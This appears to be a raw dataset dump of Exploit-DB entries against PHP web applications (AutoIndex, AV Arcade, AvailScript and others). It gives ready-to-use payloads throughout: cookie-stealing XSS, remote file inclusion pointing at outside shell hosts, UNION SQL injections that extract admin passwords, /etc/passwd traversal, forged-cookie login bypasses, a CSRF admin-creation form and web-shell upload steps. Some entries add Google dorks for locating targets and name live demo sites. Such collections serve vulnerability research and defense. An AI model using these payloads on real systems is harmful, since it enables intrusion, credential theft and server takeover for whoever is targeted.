deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30754
Description: AutoIndex PHP Script 2.2.2 - 'PHP_SELF index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-27
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/26411/info

AutoIndex PHP Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AutoIndex PHP Script 2.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/AutoIndex/index.php/"><script>alert(document.cookie)</script>
Exploit-DB #26208
Description: Autolinks 2.1 Pro - 'Al_initialize.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-29
Author: 4Degrees

Exploit:
source: https://www.securityfocus.com/bid/14686/info

AutoLinks Pro is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com//al_initialize.php?alpath=ftp://host.com/shell.php?
Exploit-DB #35645
Description: Automagick Tube Script 1.4.4 - 'module' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-20
Author: Kurd-Team

Exploit:
source: https://www.securityfocus.com/bid/47519/info

Automagick Tube Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Automagick Tube Script 1.4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=<script>alert(8888)</script>
Exploit-DB #41302
Description: Automated Job Portal Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Automated Job Portal Script - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://www.jagaad.com/
# Software Buy: https://codecanyon.net/item/automated-job-portal-script/14318664
# Demo: http://www.jagaad.com/demo/php/automated-job-portal/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/jobdetail.php?id=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
# 
# http://localhost/[PATH]/search.php?keyword=1&location=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
# 
# http://localhost/[PATH]/search.php?keyword=a&location=&co=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
Exploit-DB #8904
Description: Automated link exchange portal 1.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-08
Author: TiGeR-Dz

Exploit:
-------------------------------------------------------------------------
 Automated Link Exchange Portal V1.3 Multiple Remote Vulnerabilities
 ---------------------------------------------------------------
 Founder : TiGeR-Dz
 Home:www.h4ckx.com
 Script: Automated Link Exchange Portal Version 1.3
 Download:http://www.cmsnx.com/product.demo.php?id=11
 alf mabroke bfowze al montakhabe alwatany :D
 ---------------------------------------------------------------
 Exploit
 -------
 Note:Follow these steps
 
 after enter the cookie (javascript:document.cookie="userid=1;path=/";) and go 
 to login http://www.site.com/[path]/user.mainpage.php and change profile admin at 
  http://www.site.com/[path]/user.edit.account.php 

 exploit= cookie handling + Bypass login + change profile :)
 --------------------------------------------------------------
 cookie handling :
 -----------------------

 javascript:document.cookie="userid=1;path=/";

 -------------------------------------------------------------
 Bypass login :
 ------------------

 go to http://www.site.com/[path]/user.mainpage.php
 
 ----------------------------------------------------------------
 
 change profile Admin :
 ----------------------------

 http://www.site.com/[path]/user.edit.account.php 

----------------------------------------------------------
 Dem0
 ----
 http://www.kalptarudemos.com/demo/linkspile/
----------------------------------------------------------------

 cookie handling :
 -----------------------

 javascript:document.cookie="userid=1;path=/";

-------------------------------------------------------------
 Bypass login :
 ------------------

 go to http://www.kalptarudemos.com/demo/linkspile/user.mainpage.php
 
 ----------------------------------------------------------------
 
 change profile Admin :
 ----------------------------

 http://www.kalptarudemos.com/demo/linkspile/user.edit.account.php

----------------------------------------------------------

test:
--------

http://www.linkspile.com/
---------------------------------------------------------------

 Greeting To ALL My Friends (Dz)
 -----------------------------------------------------------------

# milw0rm.com [2009-06-08]
Exploit-DB #51823
Description: Automatic-Systems SOC FL9600 FastLine - Directory Transversal
Type: webapps
Platform: php
Date: 2024-02-27
Author: Marcin Kozlowski

Exploit:
# Exploit Title: Automatic-Systems SOC FL9600 FastLine - Directory Transversal
# Google Dork: 
# Date: 12/9/2023
# Exploit Author: Mike Jankowski-Lorek, Marcin Kozlowski / Cqure
# Vendor Homepage: http://automatic-systems.com
# Software Link: 
# Version: V06
# Tested on: V06, VersionSVN = 28569_8a99acbd8d7ea09a57d5fbcb435da5427b3f6b8a
# CVE : CVE-2023-37607

Request URL: http://<host>/csvServer.php?getList=1&dir=../../../../etc/&file=passwd
Exploit-DB #51824
Description: Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin
Type: webapps
Platform: php
Date: 2024-02-27
Author: Marcin Kozlowski

Exploit:
# Exploit Title: Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin
# Google Dork: 
# Date: 12/9/2023
# Exploit Author: Mike Jankowski-Lorek, Marcin Kozlowski / Cqure
# Vendor Homepage: http://automatic-systems.com
# Software Link: 
# Version: V06
# Tested on: V06, VersionSVN = 28569_8a99acbd8d7ea09a57d5fbcb435da5427b3f6b8a
# CVE : CVE-2023-37608

An issue in Automatic Systems SOC FL9600 FastLine version:V06 a remote attacker to obtain sensitive information via the admin login credentials.

The device contains hardcoded login and password for super admin. The administrator cannot change the password for this account.

Login: automaticsystems
[CREDENTIAL_REDACTED]
Exploit-DB #1654
Description: autonomous lan party 0.98.1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-09
Author: Codexploder

Exploit:
Autonomous LAN party File iNclusion 

--------------------------------------------
Site:http://www.nerdclub.net/alp/
Demo:http://www.redfiles.net/cup/credits.php

--------------------------------------------
Example:

http://victim.com/path/include/SQuery/gameSpy2.php?libpath=http://evilsite

---------------------------------------------
Credit:Codexploder'tq
Mail  :codexploder@linuxmail.org
site  :www.biyo.tk www.biyosecurity.be

---------------------------------------------
Google:

intitle:"Autonomous LAN party"

--------------------------------------------
Source:

http://liz0zim.no-ip.org/alp.txt
http://www.blogcu.com/Liz0ziM/431845/

# milw0rm.com [2006-04-09]
Exploit-DB #32766
Description: Autonomy Ultraseek - 'cs.html' Open Redirection
Type: webapps
Platform: php
Date: 2009-01-28
Author: buzzy

Exploit:
source: https://www.securityfocus.com/bid/33500/info

Autonomy Ultraseek is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

http://www.example.com/cs.html?url=http://www.example2.com
Exploit-DB #43792
Description: AutoRank PHP < 2.0.4 - SQL Injection (PoC)
Type: webapps
Platform: php
Date: 2003-12-18
Author: GulfTech Security

Exploit:
AutoRank PHP SQL Injection

Vendor: JMB Software
Product: AutoRank PHP
Version: <= 2.0.4
Website: http://www.jmbsoft.com/

BID: 9251 

Description:
The description as taken from the Autorank website "AutoRank PHP is our next generation toplist software, written completely in PHP and backed by a MySQL database. This software has all the features of the Pro version, and we have added several more which make this the most advanced toplist software available today. We have combined the power and speed of PHP and MySQL to make AutoRank PHP extremely efficient and scalable. A complete list of features is available if you would like to jump right to that. Otherwise, you can continue on and find out why AutoRank PHP is the premier PHP toplist software available today." 

Problem:
Autorank PHP is vulnerable to SQL Injection attacks. The vulnerabilities can be exploited by injecting SQL queries into the user & password fields when editing an account, the email field when requesting a lost password and the username field when registering an account. If a malicious attacker logs in with the username and password '-- he will automatically be given access to the first account cataloged in the database. He can then view the HTML source code to view that users password in plain text. This also leaves the database being used by Autorank PHP open for attack. The affected file is accounts.php 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #7448
Description: autositephp 2.0.3 - Local File Inclusion / Cross-Site Request Forgery / Edit File
Type: webapps
Platform: php
Date: 2008-12-14
Author: SirGod

Exploit:
############################################################################################
[+] AutositePHP v2.0.3 (LFI/CSRF/Edit File) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] Greetz : All my friends
[+] Download Script : http://sourceforge.net/projects/autositephp/
############################################################################################

[+] Local File Inclusion

    PoC 1 :

      http://[target]/[path]/index.php?page=users/[Local File]

    Example 1 :

      http://127.0.0.1/path/index.php?page=users/../../../../boot.ini


    PoC 2 :

      http://[target]/[path]/index.php?page=users/login.php&update=update/[Local
File]

    Example 1 :

      http://127.0.0.1/path/index.php?page=users/login.php&update=update/../../../../boot.ini


[+] Edit File

 - Need administrative permissions.You can edit files from the webserver.

    PoC :

      http://[target]/[path]/pages/Admin/File%20Editor/actions/modify.php?page=pages/[Local
File]

    Example :

      http://127.0.0.1/path/pages/Admin/File%20Editor/actions/modify.php?page=pages/../../../../boot.ini


[+] Cross Site Request Forgery


  If a logged in user with administrator privileges clicks on the
following url :

     http://127.0.0.1/path/index.php?page=pages/Admin/Users/viewusers/delete.php&username=SirGod&submit=submit

  The username SirGod will be deleted.You can change the username to another.

     http://127.0.0.1/path/index.php?page=pages/Admin/Users/viewusers/delete.php&username=[USERNAME]&submit=submit

[USERNAME] = name of account that you want to delete.


############################################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #21329
Description: Auxilium PetRatePro - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-17
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Auxilium PetRatePro Multiple Vulnerabilities
[~] Date: 14/09/2012
[~] Author: DaOne (@LibyanCA)
[~] Software Link: http://www.auxiliumsoftware.com
[~] Google Dork: "N/A"
##########################################

[#] 1-[Remote Add Admin]:

<form name="myform" method="post" action="http://localhost/PetRatePro/admin/createnewadmin.php" onsubmit="javascript: return checkifvalid();">
(Create New Administrator)
Username
<input name="username" type="text" id="name" size="20">
Password<input name="upassword" type="text" id="upassword" size="20">
Name<input name="name1" type="text" id="name1" size="20">
Email Address <input name="email" type="text" id="email" size="20">
<input type="submit" value="Create " name="B1">
</form>



[#] 2-[SQL Injection]

viewcomments.php parameter phid

http://localhost/PetRatePro/viewcomments.php?phid=[SQLi]



[#] 3-[Remote File Upload]

Go to: http://localhost/PetRatePro/admin/sitebanners/upload_banners.php
and upload your Shell...
will find files here ... /PetRatePro/banners/shell.php


##########################################
[*] Contact me
www.facebook.com/DaOne.Ly
##########################################
Exploit-DB #12519
Description: AV Arcade - 'Search' Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-06
Author: Vadim Toptunov

Exploit:
# Exploit Title: AV Arcade Search Field XSS/HTML Injection
# Date: 6/5/2010
# Author: Vadim Toptunov, http://www.twitter.com/pentesting
# Software Link: http://www.avscripts.net/avarcade/
# Version: 5.1.4 Free and Pro (latest) and prior
# Tested on: Any NIX
# CVE : N/a
# Code : below

Description:
AV arcade is a free arcade script from AV Scripts. It has features which easily match those of paid scripts.

POC:
Go to search field and query those strings:
HTML Injection: "><marquee>hey, this works!</marquee>
XSS: "><script>alert(String.fromCharCode(88,83,83))</script>

Example:
http://[site]/index.php?task=search&q="><marquee>hey, thisworks!</marquee>
http://[site]/index.php?task=search&q="><script>alert(String.fromCharCode(88,83,83))</script>

Dorks:
"Powered by AV Arcade v3"
"Powered by AV Arcade v4"
"Powered by AV Arcade Free Edition"
"Powered by AV Arcade Pro"
Exploit-DB #4138
Description: AV Arcade 2.1b - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-02
Author: Kw3[R]Ln

Exploit:
Web: AV Arcade 2.1b
Site : www.avscripts.net
Dork : "Powered By AV Arcade"

Author: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]
Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET


Description: SQL injection in $id of includes/view_page.php

Exploit:
/index.php?task=view_page&id=-1%20UNION%20SELECT%201,username,password%20FROM%20ava_users%20WHERE%20id=1

GREETZ: all memberz of RST and milw0rm
//kw3rln [ http://rstzone.net ]

# milw0rm.com [2007-07-02]
Exploit-DB #14494
Description: AV Arcade 3 - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-28
Author: saudi0hacker

Exploit:
:----------------------------------------------------------------------------:
: # Software      : AV Arcade v3   [PHP]                                     :
: # Site          : www.avscripts.net                                        :
: # Date          : 28/07/2010                                               :
: # Author        : saudi0hacker                                             :
: # Type          : Auth Bypass / Cookie                                     :
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

[1] Go to the URL:
    http://www.xxxxx.net/index.php?task=login

[2] Apply these Cookie:

    Javascript:document.cookie = "ava_username=admin;"
    Javascript:document.cookie = "ava_code=c4ca4238a0b923820dcc509a6f75849b 'or' 1=1;"

[3] Go to main Page:

[4] Enjoy
Exploit-DB #21007
Description: AV Arcade Free Edition - 'add_rating.php?id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-09-02
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: AV Arcade Free Edition Blind SQL Injection
[~] Date: 31/08/2012
[~] Author: DaOne (@LibyanCA)
[~] Software Link: http://www.avscripts.net/avarcade/freearcadescript/
[~] Google Dork: intext:Powered by AV Arcade Free Edition"
##########################################

# Exploit-DB Note: Must be logged in.

[#] [ Exploit ]

http://localhost/content/add_rating.php?id=[Blind SQL Injection]


##########################################
[*] thanks to : All LibyanCA Members (^_^)
##########################################
Exploit-DB #37511
Description: AVA VoIP - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-17
Author: Ibrahim El-Sayed

Exploit:
source: https://www.securityfocus.com/bid/54591/info

AVA VoIP is prone to multiple security vulnerabilities because the application fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, upload and execute arbitrary files in the context of the web server, and launch other attacks.

AVA VoIP 1.5.12 is vulnerable; other versions may also be affected. 

http://www.example.com/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
Exploit-DB #6409
Description: AvailScript Article Script - 'articles.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-09
Author: sl4xUz

Exploit:
###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Availscript Article Script (articles.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "assh0le"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     Article Script allows you to publish your own articles or from the publishers or authors. Aministrator can go to admin page to edit, delete or manage articles, authors and categories. and the member can post articles as an author or just can read the articles.

######################
  2. Vulnerabilities
######################
     SQL Injection in "articles.php" in the "aIDS" parameter.
     Cross Site Scripting in "articles.php" in the "aIDS" parameter.

######################
  3. PoC
######################
     http://localhost/path/articles.php?aIDS=-1+union+select+1,2,user()--
     http://localhost/path/articles.php?aIDS=[XSS]

###########################################################

# milw0rm.com [2008-09-09]
Exploit-DB #6522
Description: AvailScript Article Script - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Article Script (view.php v ) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.availscript.com/article_script.php
|
| DorK   : :)
|___________________________________________________|



Exploit:
________



www.[target].com/Script/view.php?v=-9+union+select+1,2,3,4,5,4,7,UserName,Password,10,11,12+FROM+userinfo--



L!VE DEMO:


http://www.availscript.com/article_script/view.php?v=-9+union+select+1,2,3,4,5,4,7,UserName,Password,10,11,12+FROM+userinfo--



Login :

www.[target].com/Script/admin/login.php




____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-21]
Exploit-DB #7456
Description: AvailScript Article Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-14
Author: S.W.A.T.

Exploit:
[~] Availscript Article Script Remote File Upload Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: S.W.A.T.   svvateam@yahoo.com
[~]
[~] Home: www.batlagh.com
[~]
[~] Script Page: http://www.availscript.com/article_script.php
[~] -----------------------------------------------------------

Xpl:

1.First Register Into The Site ( link: www.site.com/[path]/signup.php )

2.Login With Your Email & Password

3.After That Go To "Add Pen/Author Name" ( link: www.site.com/[path]/memberarea/addpen.php )
& Write Your Author & Select Your Shell.php like: c99.php

4.Your Shell Will Be Appear In This Folder ( link: www.site.com/[path]/photos/ )

5.Your Shell Will Be Renamed With Random Text like: cc1bd-c99.php

6.Hack The Site ;)


Demo:

http://www.availscript.com/article_script/



[~] Special Thanks To:

Str0ke, All My Friends, Iranian Hackers & All Muslim

# milw0rm.com [2008-12-14]
Exploit-DB #6412
Description: AvailScript Classmate Script - 'viewprofile.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-09
Author: Stack

Exploit:
Availscript Classmate Script Remote SQL Injection Vulnerability
home script : http://www.availscript.com/classmate_script.php
By : Stack
befor execute exploit you need to register
exploit
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--
live demo
username
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--

# milw0rm.com [2008-09-09]